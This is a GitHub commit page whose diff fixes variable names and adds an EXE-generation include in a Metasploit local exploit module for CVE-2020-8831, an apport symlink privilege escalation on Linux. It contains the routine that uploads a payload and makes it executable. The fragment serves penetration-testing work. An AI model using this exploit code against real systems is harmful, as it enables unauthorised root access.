Skip to content

Commit 8cef31f

Browse files
committed
Add Payload::EXE module, fix var names
1 parent 18a94bb commit 8cef31f

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local
1010
include Msf::Post::Linux::System
1111
include Msf::Post::Linux::Kernel
1212
include Msf::Post::File
13+
include Msf::Exploit::EXE
1314

1415
def initialize(info = {})
1516
super(
@@ -123,7 +124,7 @@ def write_payload
123124

124125
payload_dir = datastore['Writable_Dir']
125126

126-
payload_dir += '/' unless pay_dir.ends_with? '/'
127+
payload_dir += '/' unless payload_dir.ends_with? '/'
127128

128129
payload_file = datastore['Payload_Filename']
129130

@@ -132,9 +133,9 @@ def write_payload
132133
# create the payload
133134
if target.arch.first == ARCH_CMD
134135
payload = payload.encoded
135-
upload_and_chmodx pay_dest, payload
136+
upload_and_chmodx @payload_dest, payload
136137
else
137-
upload_and_chmodx pay_dest, generate_payload_exe
138+
upload_and_chmodx @payload_dest, generate_payload_exe
138139
end
139140
end
140141

0 commit comments

Comments
 (0)